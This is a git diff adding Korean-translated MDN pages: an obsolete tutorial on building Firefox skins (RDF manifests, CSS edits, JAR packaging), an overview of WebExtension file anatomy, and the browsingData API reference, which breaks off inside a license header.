+<p>패키지 섹션은 당신이 변경하는 브라우저의 컴포넌트를 목록으로 나타냅니다. 챗질라에서도 이 스킨을 사용한다면 우리는 챗질라에 맞추기 위해 몇 줄을 추가하거나 바꾸어야 할 것입니다. 그러나 지금의 목록은 우리가 변경한 모든 것을 반영하고 있으므로, 이 섹션에서 이전 것을 사용하였던 부분에 대해서면 여기서 파란 색으로 표시된 부분에 이름과 버전에 맞게 변경해주면 됩니다.</p>
+<pre class="eval">&lt;RDF:li resource="urn:mozilla:skin:<span style="color: #00D; font-weight: bold;">My_Theme</span>:communicator"/&gt;
+&lt;RDF:li resource="urn:mozilla:skin:<span style="color: #00D; font-weight: bold;">My_Theme</span>:editor"/&gt;
+&lt;RDF:li resource="urn:mozilla:skin:<span style="color: #00D; font-weight: bold;">My_Theme</span>:global"/&gt;
+&lt;RDF:li resource="urn:mozilla:skin:<span style="color: #00D; font-weight: bold;">My_Theme</span>:messenger"/&gt;
+&lt;RDF:li resource="urn:mozilla:skin:<span style="color: #00D; font-weight: bold;">My_Theme</span>:navigator"/&gt;
+</pre>
+<p>파일을 저장하고 에디터를 종료합니다.</p>
+<h6 id="install.rdf" name="install.rdf">install.rdf</h6>
+<p><a href="ko/Creating_a_Skin_for_Firefox/install.rdf">install.rdf</a>를 복사하여 <code>My_Theme</code> 디렉토리 안에 집어넣습니다. 그리고 이 파일을 텍스트 에디터로 열어봅니다. 이 파일은 스킨에 대해 기술해 놓은 작은 XML 데이터베이스 파일입니다.</p>
+<pre>  &lt;Description about="urn:mozilla:install-manifest"&gt;
+  &lt;em:id&gt;{Themes_UUID}&lt;/em:id&gt;
+  &lt;em:version&gt;Themes_Version&lt;/em:version&gt;
+</pre>
+<p>첫 섹션은 당신의 테마를 위하여 <a href="ko/Creating_a_Skin_for_Firefox/UUID">UUID</a>를 확립하고 버전을 부여하는 부분을 포함합니다. 이런 내용을 입력하고 스크롤을 내려봅니다. 또한 당신은 타겟 어플리케이션, 여기서는 파이어폭스가 되겠지요. 이 스킨을 사용할 수 있는 파이어폭스의 버전 범위를 명기해야 합니다. 다음과 같이 말이지요.</p>
+<pre>  &lt;em:targetApplication&gt;
+    &lt;Description&gt;
+      &lt;!-- Firefox's UUID --&gt;
+      &lt;em:id&gt;{ec8030f7-c20a-464f-9b0e-13a3a9e97384}&lt;/em:id&gt;
+      &lt;em:minVersion&gt;Min_FF_Version&lt;/em:minVersion&gt;
+      &lt;em:maxVersion&gt;Max_FF_Version&lt;/em:maxVersion&gt;
+    &lt;/Description&gt;
+  &lt;/em:targetApplication&gt;
+</pre>
+<p>위와 같은 문제들을 해결하였다면 버전으로 인하여 테마가 깨지거나 엉망이 되는 문제는 피할 수 있을 것입니다.</p>
+<h4 id="CSS_.ED.8C.8C.EC.9D.BC" name="CSS_.ED.8C.8C.EC.9D.BC">CSS 파일</h4>
+<p>이들 디렉토리에 들어있는 CSS 파일은 브라우저의 어느 부분에 그림을 넣고, 버튼이나 컨트롤의 테두리나 두께 등을 정의하여 어떻게 보일지를 지정하는 데 사용됩니다. 그러면 예를 들어서 표준 버튼을 한번 바꾸어 봅시다.</p>
+<p>&lt;tt&gt;global&lt;/tt&gt; 디렉토리로 들어가 &lt;tt&gt;button.css&lt;/tt&gt; 파일을 텍스트 에디터로 열어봅시다. 스크롤바를 내려 <code>button {</code> 으로 시작되는 섹션을 찾아봅시다. 이 섹션은 기본 상태, 그러니까 마우스를 위로 올리거나 선택하지 않았고, 그렇다고 사용중지 상태도 아닌 일반적인 버튼의 모양을 정의하는 섹션입니다.</p>
+<p><code>background-color:</code> 부분에 <code>DarkBlue</code>를 입력하고, <code>color:</code> 부분에 <code>White</code> 라고 입력한 뒤 파일을 저장합시다. 다른 몇 가지 테스트를 더 해볼 수도 있을 것입니다.</p>
+<h4 id="JAR_.ED.8C.8C.EC.9D.BC.EB.A1.9C_.EB.A6.AC.ED.8C.A8.ED.82.A4.EC.A7.95.ED.95.98.EA.B8.B0" name="JAR_.ED.8C.8C.EC.9D.BC.EB.A1.9C_.EB.A6.AC.ED.8C.A8.ED.82.A4.EC.A7.95.ED.95.98.EA.B8.B0">JAR 파일로 리패키징하기</h4>
+<p>이제 다음과 같은 디렉토리 구조를 JAR 파일로 리패키징하는 일만 남았습니다. 좋아하는 압축 프로그램을 사용하여 다음 구조를 zip으로 압축합시다:</p>
+<pre>/browser/*
+/communicator/*
+/global/*
+/help/*
+/mozapps/*
+/contents.rdf
+/install.rdf
+/icon.png
+/preview.png
+  </pre>
+<p>이 상태로 그냥 묶는 것이 아니라, 이 구조가 들어있는 부모 디렉토리인 &lt;tt&gt;My_Theme&lt;/tt&gt;째 묶어야 설치할 때 에러 메시지를 보지 않을 수 있을 것입니다.</p>
+<h4 id=".EC.9B.B9.EC.97.90.EC.84.9C_.EB.B0.94.EB.A1.9C_.EC.84.A4.EC.B9.98.ED.95.A0_.EC.88.98_.EC.9E.88.EB.8F.84.EB.A1.9D_.EB.A7.8C.EB.93.A4.EB.A0.A4.EB.A9.B4" name=".EC.9B.B9.EC.97.90.EC.84.9C_.EB.B0.94.EB.A1.9C_.EC.84.A4.EC.B9.98.ED.95.A0_.EC.88.98_.EC.9E.88.EB.8F.84.EB.A1.9D_.EB.A7.8C.EB.93.A4.EB.A0.A4.EB.A9.B4">웹에서 바로 설치할 수 있도록 만들려면</h4>
+<p>일단 JAR 파일을 웹에 올리고, 클릭하면 바로 설치할 수 있도록 만들기 위해 자바스크립트 하나를 살펴보겠습니다.</p>
+<pre class="eval">&lt;a href='javascript:InstallTrigger.installChrome(InstallTrigger.SKIN,
+ "<span style="color: #00D; font-weight: bold;">myskin.jar</span>", "<span style="color: #00D; font-weight: bold;">My Skin Theme</span>")'&gt;누르면 스킨이 설치됩니다&lt;/a&gt;
+</pre>
+<p>하드 디스크에 JAR 형태로 존재하는 스킨 파일을 설치하려면 <a class="external" href="http://www.eightlines.com/neil/mozskin/installjar.html">웹 인스톨러</a> 를 사용하여 해당 파일을 업로드하고 바로 실치할 수 있습니다. 혹은 모질라에서 테마 윈도우를 띄우고 .jar 파일을 끌어당겨 놓을 수도 있습니다.</p>
+<p>{{ languages( { "es": "es/Creando_un_skin_para_Firefox/Como_empezar", "fr": "fr/Cr\u00e9er_un_th\u00e8me_pour_Firefox/Premiers_pas" } ) }}</p>
diff --git a/files/ko/mozilla/add-ons/themes/obsolete/creating_a_skin_for_firefox/index.html b/files/ko/mozilla/add-ons/themes/obsolete/creating_a_skin_for_firefox/index.html
new file mode 100644
index 0000000000..469fd9043b
--- /dev/null
+++ b/files/ko/mozilla/add-ons/themes/obsolete/creating_a_skin_for_firefox/index.html
@@ -0,0 +1,27 @@
+---
+title: Creating a Skin for Firefox
+slug: Mozilla/Add-ons/Themes/Obsolete/Creating_a_Skin_for_Firefox
+tags:
+  - Add-ons
+  - Themes
+translation_of: Archive/Themes/Creating_a_Skin_for_Firefox
+---
+<h3 id=".EB.93.A4.EC.96.B4.EA.B0.80.EB.A9.B0" name=".EB.93.A4.EC.96.B4.EA.B0.80.EB.A9.B0">들어가며</h3>
+<p>파이어폭스에서 사용할 스킨을 만들 때는 이미지 편집과 압축 해제, 그리고 CSS 수정에 대해 알고 있어야 합니다. 파이어폭스는 표준 GIF와 PNG, 그리고 JPEG 이미지 포맷을 버튼에 사용하며, 인터페이스의 스타일을 만들기 위해 CSS를 사용합니다.</p>
+<p><b>그러면 스킨이 뭔데?</b></p>
+<p>스킨이란 전체적인 인터페이스를 바꾸는 것은 아닙니다. 대신 스킨은 인터페이스가 어떻게 보여질지를 정의해주지요. 이미지를 마우스 오른쪽 버튼으로 클릭했을 때 일어나는 일을 바꿀 수는 없지만, 마우스 오른쪽 버튼을 눌렀을 때 보이는 메뉴의 모습은 바꿀 수 있습니다. 예를 들어 파란 바탕에 분홍색 땡땡이 무늬로 바꿀 수도 있겠지요. 파이어폭스의 기능 자체를 바꾸고 싶다면 Chrome을 직접 수정하실 수 있지만, 그에 대한 설명은 이 문서의 범위를 넘어가는 것입니다.</p>
+<h3 id=".EC.8B.9C.EC.9E.91.ED.95.98.EA.B8.B0" name=".EC.8B.9C.EC.9E.91.ED.95.98.EA.B8.B0">시작하기</h3>
+<ul>
+ <li><a href="ko/Creating_a_Skin_for_Firefox/Getting_Started">그러면 시작해볼까요?</a></li>
+</ul>
+<hr>
+<div class="originaldocinfo">
+ <h3 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h3>
+ <ul>
+  <li>Author: Neil Marshall</li>
+  <li>Other Contributors (Suggestions/Corrections): Brent Marshall, CDN (<a class="external" href="http://themes.mozdev.org" rel="freelink">http://themes.mozdev.org</a>), JP Martin, Boris Zbarsky, Asa Dotzler, WeSaySo, David James, Dan Mauch, Anders Conbere, Tim Regula (<a class="external" href="http://www.igraphics.nn.cx" rel="freelink">http://www.igraphics.nn.cx</a>)</li>
+  <li>Copyright Information: Copyright 2002-2003 Neil Marshall, permission given to MDC to migrate into the wiki April 2005 via email.</li>
+  <li>Original Location: <a class="external" href="http://www.eightlines.com/neil/mozskin" rel="freelink">http://www.eightlines.com/neil/mozskin</a></li>
+ </ul>
+</div>
+<p>{{ languages( { "fr": "fr/Cr\u00e9er_un_th\u00e8me_pour_Firefox", "pl": "pl/Tworzenie_sk\u00f3rek_dla_Firefoksa" } ) }}</p>
diff --git a/files/ko/mozilla/add-ons/themes/obsolete/creating_a_skin_for_firefox/install.rdf/index.html b/files/ko/mozilla/add-ons/themes/obsolete/creating_a_skin_for_firefox/install.rdf/index.html
new file mode 100644
index 0000000000..f5add06153
--- /dev/null
+++ b/files/ko/mozilla/add-ons/themes/obsolete/creating_a_skin_for_firefox/install.rdf/index.html
@@ -0,0 +1,44 @@
+---
+title: install.rdf
+slug: Mozilla/Add-ons/Themes/Obsolete/Creating_a_Skin_for_Firefox/install.rdf
+translation_of: Archive/Themes/Creating_a_Skin_for_Firefox/install.rdf
+---
+<p>다음 내용을 복사하여 빈 텍스트파일에 붙여넣고 "<code>install.rdf</code>"라는 이름으로 저장하세요:</p>
+<pre>&lt;?xml version="1.0"?&gt;
+
+&lt;RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+     xmlns:em="http://www.mozilla.org/2004/em-rdf#"&gt;
+
+  &lt;Description about="urn:mozilla:install-manifest"&gt;
+  &lt;em:id&gt;{Themes_UUID}&lt;/em:id&gt;
+    &lt;em:version&gt;Themes_Version&lt;/em:version&gt;
+
+&lt;!-- Target Application this extension can install into,
+         with minimum and maximum supported versions. --&gt;
+
+&lt;em:targetApplication&gt;
+    &lt;Description&gt;
+      &lt;!-- Firefox's UUID --&gt;
+      &lt;em:id&gt;{ec8030f7-c20a-464f-9b0e-13a3a9e97384}&lt;/em:id&gt;
+      &lt;em:minVersion&gt;Min_FF_Version&lt;/em:minVersion&gt;
+      &lt;em:maxVersion&gt;Max_FF_Version&lt;/em:maxVersion&gt;
+    &lt;/Description&gt;
+  &lt;/em:targetApplication&gt;
+
+  &lt;!-- Front End MetaData --&gt;
+  &lt;!-- My_Theme --&gt;
+  &lt;em:name&gt;My_Theme&lt;/em:name&gt;
+  &lt;em:description&gt;My_Theme&lt;/em:description&gt;
+  &lt;em:creator&gt;Your_Name&lt;/em:creator&gt;
+  &lt;em:contributor&gt;Contributors_Names&lt;/em:contributor&gt;
+  &lt;em:homepageURL&gt;Themes_HomePage&lt;/em:homepageURL&gt;
+  &lt;em:updateURL&gt; Url_of_Update_Location &lt;/em:updateURL&gt;
+  &lt;em:aboutURL&gt; Url_of_About_Page &lt;/em:aboutURL&gt;
+
+  &lt;!-- Front End Integration Hooks (used by Theme Manager)--&gt;
+    &lt;em:internalName&gt;My_Theme&lt;/em:internalName&gt;
+  &lt;/Description&gt;
+
+&lt;/RDF&gt;
+</pre>
+<p>{{ languages( { "fr": "fr/Cr\u00e9er_un_th\u00e8me_pour_Firefox/install.rdf" } ) }}</p>
diff --git a/files/ko/mozilla/add-ons/themes/obsolete/creating_a_skin_for_firefox/uuid/index.html b/files/ko/mozilla/add-ons/themes/obsolete/creating_a_skin_for_firefox/uuid/index.html
new file mode 100644
index 0000000000..db90531d45
--- /dev/null
+++ b/files/ko/mozilla/add-ons/themes/obsolete/creating_a_skin_for_firefox/uuid/index.html
@@ -0,0 +1,10 @@
+---
+title: UUID
+slug: Mozilla/Add-ons/Themes/Obsolete/Creating_a_Skin_for_Firefox/UUID
+translation_of: Archive/Themes/Creating_a_Skin_for_Firefox/UUID
+---
+<h3 id="UUID_Universal_Unique_Identifier" name="UUID:_Universal_Unique_Identifier">UUID: Universal Unique Identifier</h3>
+<p>A UUID can be obtained by visiting <a class="external" href="http://www.famkruithof.net/uuid/uuidgen" rel="freelink">http://www.famkruithof.net/uuid/uuidgen</a> or by typing "firebot: uuid?" on irc.mozilla.org.</p>
+<h3 id="See_Also" name="See_Also">See Also</h3>
+<p><a href="ko/Generating_GUIDs">Generating_GUIDs</a></p>
+<p>{{ languages( { "fr": "fr/Cr\u00e9er_un_th\u00e8me_pour_Firefox/UUID" } ) }}</p>
diff --git a/files/ko/mozilla/add-ons/themes/obsolete/index.html b/files/ko/mozilla/add-ons/themes/obsolete/index.html
new file mode 100644
index 0000000000..d420b6ebf0
--- /dev/null
+++ b/files/ko/mozilla/add-ons/themes/obsolete/index.html
@@ -0,0 +1,10 @@
+---
+title: Obsolete
+slug: Mozilla/Add-ons/Themes/Obsolete
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Mozilla/Add-ons/Themes/Obsolete
+---
+<p>This page collects theme docs that we don't expect will ever be updated, but which we're keeping for the time being as potential source material for updated docs.</p>
+<p>{{ ListSubPages ("/en-US/Add-ons/Themes/Obsolete", 5) }}</p>
diff --git a/files/ko/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.html b/files/ko/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.html
new file mode 100644
index 0000000000..1b2d52b0cd
--- /dev/null
+++ b/files/ko/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.html
@@ -0,0 +1,131 @@
+---
+title: Anatomy of an extension
+slug: Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension
+translation_of: Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension
+---
+<div>{{AddonSidebar}}</div>
+
+<p>확장앱은 배포 및 설치를 위해 패키징 된 파일 모음으로 구성됩니다. 이 아티클은 확장앱에 있을 수 있는 파일들을 빠르게 살펴봅니다.</p>
+
+<h2 id="manifest.json">manifest.json</h2>
+
+<p>manifest.json 파일은 모든 확장앱이 가져야하는 유일한 파일입니다. 이 파일에는 이름, 버전 및 필요한 권한과 같은 메타정보가 들어 있습니다. </p>
+
+<p>또한 확장앱에 포함될 다른 파일들(하단 목록)을 가리킵니다.</p>
+
+<ul>
+ <li><a href="/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Background_scripts">Background pages</a>: (브라우저 창의 수명과 독립적으로) 오랜 시간 실행되는 로직 구현.</li>
+ <li>확장앱의 아이콘 및 기타 버튼들.</li>
+ <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Sidebars_popups_options_pages">사이드바, 팝업, 옵션 페이지</a>: UI 컴포넌트를 제공하는 HTML 파일들</li>
+ <li><a href="/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Content_scripts">컨텐츠 스크립트</a>: 웹페이지에 주입할 자바스크립트 파일</li>
+</ul>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13669/webextension-anatomy.png" style="display: block; height: 581px; margin-left: auto; margin-right: auto; width: 600px;"></p>
+
+<p>세부 내용: <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json">manifest.json</a> 참조.</p>
+
+<p>manifest에 참조 된 항목 외에도, <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Extension_pages">Extension pages</a>와 해당 페이지의 리소스가 확장앱 번들에 포함될 수 있습니다.</p>
+
+<h2 id="Background_scripts">Background scripts</h2>
+
+<p><span class="translation">확장앱은 종종 특정 웹 페이지나 브라우저 창의 수명과 독립적으로 장기간 상태를 유지하거나 작업을 수행해야 합니다. 그때 필요한 것이 </span>백그라운드 스크립트입니다.</p>
+
+<p>백그라운드 스크립트는 <span class="translation">확장앱이 로드 되자마자 로드되며 확장앱이 다시 비활성화 또는 </span>제거될 때까지<span class="translation"> 로드된 상태를 유지합니다</span>. 적절한 <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/permissions">권한</a>을 요청했다면 이 스크립트에서 <a href="/en-US/Add-ons/WebExtensions/API">WebExtension APIs</a>를 사용할 수 있습니다.</p>
+
+<h3 id="백그라운드_스크립트_정의">백그라운드 스크립트 정의</h3>
+
+<p>"manifest.json"에 <code>background</code> 키로 백그라운드 스크립트를 포함할 수 있습니다:</p>
+
+<pre class="brush: json">// manifest.json
+
+"background": {
+  "scripts": ["background-script.js"]
+}</pre>
+
+<p>여러 개의 백그라운드 스크립트를 지정할 수 있습니다: 그 경우 한 웹페이지에서 여러 스크립트들이 실행되듯이 백그라운드 스크립트들이 동일한 context에서 실행됩니다.</p>
+
+<h3 id="백그라운드_스크립트_환경">백그라운드 스크립트 환경</h3>
+
+<h4 id="DOM_APIs">DOM APIs</h4>
+
+<p>백그라운드 스크립트는 background pages라는 특별한 페이지의 context에서 실행됩니다. 이것은 백그라운드 스크립트에 모든 표준 DOM API들을 제공하는 전역 <code><a href="/en-US/docs/Web/API/Window">window</a></code> 객체를 제공합니다.</p>
+
+<p>background page를 제공할 필요는 없습니다. 백그라운드 스크립트를 추가했다면 빈 background page가 생성됩니다.</p>
+
+<p>그러나 background page를 별도의 HTML 파일로 제공하도록 선택할 수 있습니다.</p>
+
+<pre class="brush: json">// manifest.json
+
+"background": {
+  "page": "background-page.html"
+}</pre>
+
+<h4 id="WebExtension_APIs">WebExtension APIs</h4>
+
+<p>백그라운드 스크립트는 선언된 <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">권한</a> 내의 모든 <a href="/en-US/Add-ons/WebExtensions/API">WebExtension APIs</a>를 사용할 수 있습니다.</p>
+
+<h4 id="Cross-origin_access">Cross-origin access</h4>
+
+<p>백그라운드 스크립트는 선언된 <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">host 권한</a> 내의 모든 서버(host)에 XHR 요청을 할 수 있습니다.</p>
+
+<h4 id="Web_content">Web content</h4>
+
+<p>백그라운드 스크립트는 웹 페이지에 직접 엑세스하지 못합니다. 그러나 웹페이지에 <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts">컨텐츠 스크립트</a>를 삽입할 수 있으며 <a href="/en-US/Add-ons/WebExtensions/Content_scripts#Communicating_with_background_scripts">메시지 전달 API를 통해 컨텐츠 스크립트와 통신할 수 있습니다</a>.</p>
+
+<h4 id="Content_security_policy">Content security policy</h4>
+
+<p>백그라운드 스크립트<span class="translation">는 </span><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval">eval()</a></code><span class="translation"> 사용과 같이</span><span class="translation"> 잠재적으로 위험할 수 있는 특정 작업을 제한합니다.</span> 자세한 내용은 <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy">컨텐츠 보안 정책</a>을 참조하십시오.</p>
+
+<h2 id="Sidebars_popups_options_pages">Sidebars, popups, options pages</h2>
+
+<p>확장앱은 HTML를 이용하여 다양한 UI를 포함할 수 있습니다.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Sidebars">사이드바</a>는 <span class="translation">브라우저 창의 왼쪽, 웹 페이지 옆에 표시되는 창입니다.</span></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Popups">팝업</a>은 사용자가 <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Browser_action">툴바 버튼</a> 이나 <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Page_actions">주소창 버튼</a>를 클릭 할 때 표시되는 다이얼로그입니다</li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Options_pages">옵션 페이지</a>는 브라우저의 애드온 매니저에서 확장앱의 환경 설정에 접근할 때 표시 되는 페이지입니다.</li>
+</ul>
+
+<p>이러한 각 구성 요소에 대해 HTML 파일을 만들고 <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json">manifest.json</a>의 특정 속성에 지정합니다. 이 HTML 파일은 일반 웹 페이지와 마찬가지로 CSS 및 JavaScript 파일이 포함될 수 있습니다. </p>
+
+<p><span class="translation">이 페이지들은 모두 </span><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Extension_pages">Extension pages</a><span class="translation"> 유형이며, 일반 웹 페이지와 달리 </span>이 페이지에서 실행되는<span class="translation"> javaScript는 </span><span class="translation">권한이 부여된 WebExtension API를 모두 사용할 수 있습니다(</span>백그라운드 스크립트<span class="translation">와 동일).</span><br>
+ {{WebExtAPIRef("runtime.getBackgroundPage()")}}<br>
+ 심지어 위와 같이 background page에서 사용하는 변수에 직접 접근할 수도 있습니다.</p>
+
+<h2 id="Extension_pages">Extension pages</h2>
+
+<p><span class="translation">또한 미리 정의된 UI에 연결되지 않은 HTML 문서를 확장앱에 포함할 수 있습니다. </span>사이드바<span class="translation">, </span>팝업<span class="translation"> 또는 옵션 페이지에 제공할 문서와 달리 manifest.json에 이 페이지를 정의하는 항목은 없습니다. 그러나 이 페이지 또한 </span>백그라운드 스크립트<span class="translation">와 동일하게 권한이 부여된 WebExtension API에 대한 접근 권한을 가집니다.</span></p>
+
+<p>일반적으로 {{WebExtAPIRef("windows.create()")}} 또는 {{WebExtAPIRef("tabs.create()")}}를 사용하여 Extension page를 로드할 수 있습니다.</p>
+
+<p>세부 내용 : <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Extension_pages">Extension pages</a> 참조.</p>
+
+<h2 id="Content_scripts">Content scripts</h2>
+
+<p>컨텐츠 스크립트를 사용하여 웹 페이지에 접근하고 수정하십시오. 컨텐츠 스크립트는 <span class="translation">웹 페이지에 로드되고 해당 페이지의 context에서 실행됩니다.</span></p>
+
+<p>컨텐츠 스크립트<span class="translation">는 웹 페이지의 context에서 실행되는, 확장앱용 스크립트입니다. 이는 페이지 내의 {{HTMLElement ( "script")}} 요소 등 페이지 자체가 로드하는 스크립트와 다릅니다.</span></p>
+
+<p>컨텐츠 스크립트는 <span class="translation">웹페이지가 로드하는 일반 스크립트처럼 DOM에 접근 및 조작을 할 수 있습니다.</span></p>
+
+<p><span class="translation">일반 페이지 스크립트와 달리 다음 작업을 수행 할 수 있습니다.</span></p>
+
+<ul>
+ <li>크로스 도메인의 XHR 요청</li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API">WebExtension APIs</a> 일부 사용</li>
+ <li>백그라운드 스크립트와<span class="translation"> 메시지를 교환함으로 모든 WebExtension API에 간접적으로 접근</span></li>
+</ul>
+
+<p>컨텐츠 스크립트<span class="translation">는 일반 페이지 스크립트에 직접 접근할 수는 없지만 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage">window.postMessage()</a> API를 사용하여 메시지를 교환할 수 있습니다.</span></p>
+
+<p><span class="translation">일반적으로 </span>컨텐츠 스크립트는<span class="translation"> 자바 스크립트를 지칭하지만, 동일한 매커니즘으로 웹 페이지에 CSS를 삽입할 수 있습니다.</span></p>
+
+<p>세부내용: <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts">content scripts</a> 참조.</p>
+
+<h2 id="Web_accessible_resources">Web accessible resources</h2>
+
+<p>Web accessible resources<span class="translation">는</span> 확장앱에 포함되어 있고 컨텐츠 스크립트 및 페이지 스크립트에 엑세스할 수 있게 하려는 이미지, HTML, CSS 및 JavaScript와 같은 리소스입니다. 이 리소스는 특수한 URI를 사용하여 페이지 스크립트 및 컨텐츠 스크립트에서 참조할 수 있습니다.</p>
+
+<p>예를 들어 컨텐츠 스크립트가 일부 이미지를 웹 페이지에 삽입하려는 경우, 확장앱에 포함시키고 web accessible하게 할 수 있습니다. 그러면 컨텐츠 스크립트에서 src 속성을 통해 이미지를 참조하는 img 태그를 만들고 추가할 수 있습니다.</p>
+
+<p>자세한 내용은 manifest.json의 <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/web_accessible_resources">web_accessible_resources</a> key의 스펙을 확인하세요.</p>
diff --git a/files/ko/mozilla/add-ons/webextensions/api/browsingdata/index.html b/files/ko/mozilla/add-ons/webextensions/api/browsingdata/index.html
new file mode 100644
index 0000000000..349b6882f3
--- /dev/null
+++ b/files/ko/mozilla/add-ons/webextensions/api/browsingdata/index.html
@@ -0,0 +1,115 @@
+---
+title: browsingData
+slug: Mozilla/Add-ons/WebExtensions/API/browsingData
+translation_of: Mozilla/Add-ons/WebExtensions/API/browsingData
+---
+<div>{{AddonSidebar}}</div>
+
+<p>WebExtensions 을 통해 사용자가 브라우저를 사용하는 동안 축적된 데이터를 삭제할 수 있는 기능을 제공합니다.</p>
+
+<p><code>browsingData</code> API는 브라우징 데이터를 다음과 같은 타입으로 구분합니다:</p>
+
+<ul>
+ <li>브라우저 캐시</li>
+ <li>쿠키</li>
+ <li>다운로드</li>
+ <li>히스토리</li>
+ <li>플러그인 데이터</li>
+ <li>저장된 폼 데이터</li>
+ <li>저장된 비밀번호saved passwords</li>
+</ul>
+
+<p>You can use the {{WebExtAPIRef("browsingData.remove()")}} function to remove any combination of these types. There are also dedicated functions to remove each particular type of data, such as {{WebExtAPIRef("browsingData.removePasswords()", "removePasswords()")}}, {{WebExtAPIRef("browsingData.removeHistory()", "removeHistory()")}} and so on.</p>
+
+<p>All the <code>browsingData.remove[X]()</code> functions take a {{WebExtAPIRef("browsingData.RemovalOptions")}} object, which you can use to control two further aspects of data removal:</p>
+
+<ul>
+ <li>how far back in time to remove data</li>
+ <li>whether to remove data only from normal web pages, or also from hosted web apps and add-ons. Note that this option is not yet supported in Firefox.</li>
+</ul>
+
+<p>Finally, this API gives you a {{WebExtAPIRef("browsingData.settings()")}} function that gives you the current value of the settings for the browser's built-in "Clear History" feature.</p>
+
+<p>To use this API you must have the "browsingData" <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/permissions#API_permissions">API permission</a>.</p>
+
+<h2 id="Types">Types</h2>
+
+<dl>
+ <dt>{{WebExtAPIRef("browsingData.DataTypeSet")}}</dt>
+ <dd>Object used to specify the type of data to remove: for example, history, downloads, passwords, and so on.</dd>
+ <dt>{{WebExtAPIRef("browsingData.RemovalOptions")}}</dt>
+ <dd>Object used to specify how far back in time to remove data, and whether to remove data added through normal web browsing, by hosted apps, or by add-ons.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{WebExtAPIRef("browsingData.remove()")}}</dt>
+ <dd>Removes browsing data for the data types specified.</dd>
+ <dt>{{WebExtAPIRef("browsingData.removeCache()")}}</dt>
+ <dd>Clears the browser's cache.</dd>
+ <dt>{{WebExtAPIRef("browsingData.removeCookies()")}}</dt>
+ <dd>Removes cookies.</dd>
+ <dt>{{WebExtAPIRef("browsingData.removeDownloads()")}}</dt>
+ <dd>Removes the list of downloaded files.</dd>
+ <dt>{{WebExtAPIRef("browsingData.removeFormData()")}}</dt>
+ <dd>Clears saved form data.</dd>
+ <dt>{{WebExtAPIRef("browsingData.removeHistory()")}}</dt>
+ <dd>Clears the browser's history.</dd>
+ <dt>{{WebExtAPIRef("browsingData.removePasswords()")}}</dt>
+ <dd>Clears saved passwords.</dd>
+ <dt>{{WebExtAPIRef("browsingData.removePluginData()")}}</dt>
+ <dd>Clears data associated with plugins.</dd>
+ <dt>{{WebExtAPIRef("browsingData.settings()")}}</dt>
+ <dd>Gets the current value of settings in the browser's "Clear History" feature.</dd>
+</dl>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("webextensions.api.browsingData", 2)}}</p>
+
+<div class="hidden note">
+<p>The "Chrome incompatibilities" section is included from <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Chrome_incompatibilities"> https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Chrome_incompatibilities</a> using the <a href="/en-US/docs/Template:WebExtChromeCompat">WebExtChromeCompat</a> macro.</p>
+
+<p>If you need to update this content, edit <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Chrome_incompatibilities">https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Chrome_incompatibilities</a>, then shift-refresh this page to see your changes.</p>
+</div>
+
+<p>{{WebExtExamples("h2")}}</p>
+
+<div class="note"><strong>Acknowledgements</strong>
+
+<p>This API is based on Chromium's <a href="https://developer.chrome.com/extensions/browsingData"><code>chrome.browsingData</code></a> API.</p>
+
+<p>Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.</p>
+</div>
+
+<div class="hidden">
+<pre>// Copyright 2015 The Chromium Authors. All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are
+// met:
+//
+//    * Redistributions of source code must retain the above copyright
+// notice, this list of conditions and the following disclaimer.
+//    * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following disclaimer
+// in the documentation and/or other materials provided with the
+// distribution.
+//    * Neither the name of Google Inc. nor the names of its
+// contributors may be used to endorse or promote products derived from
+// this software without specific prior written permission.
+//
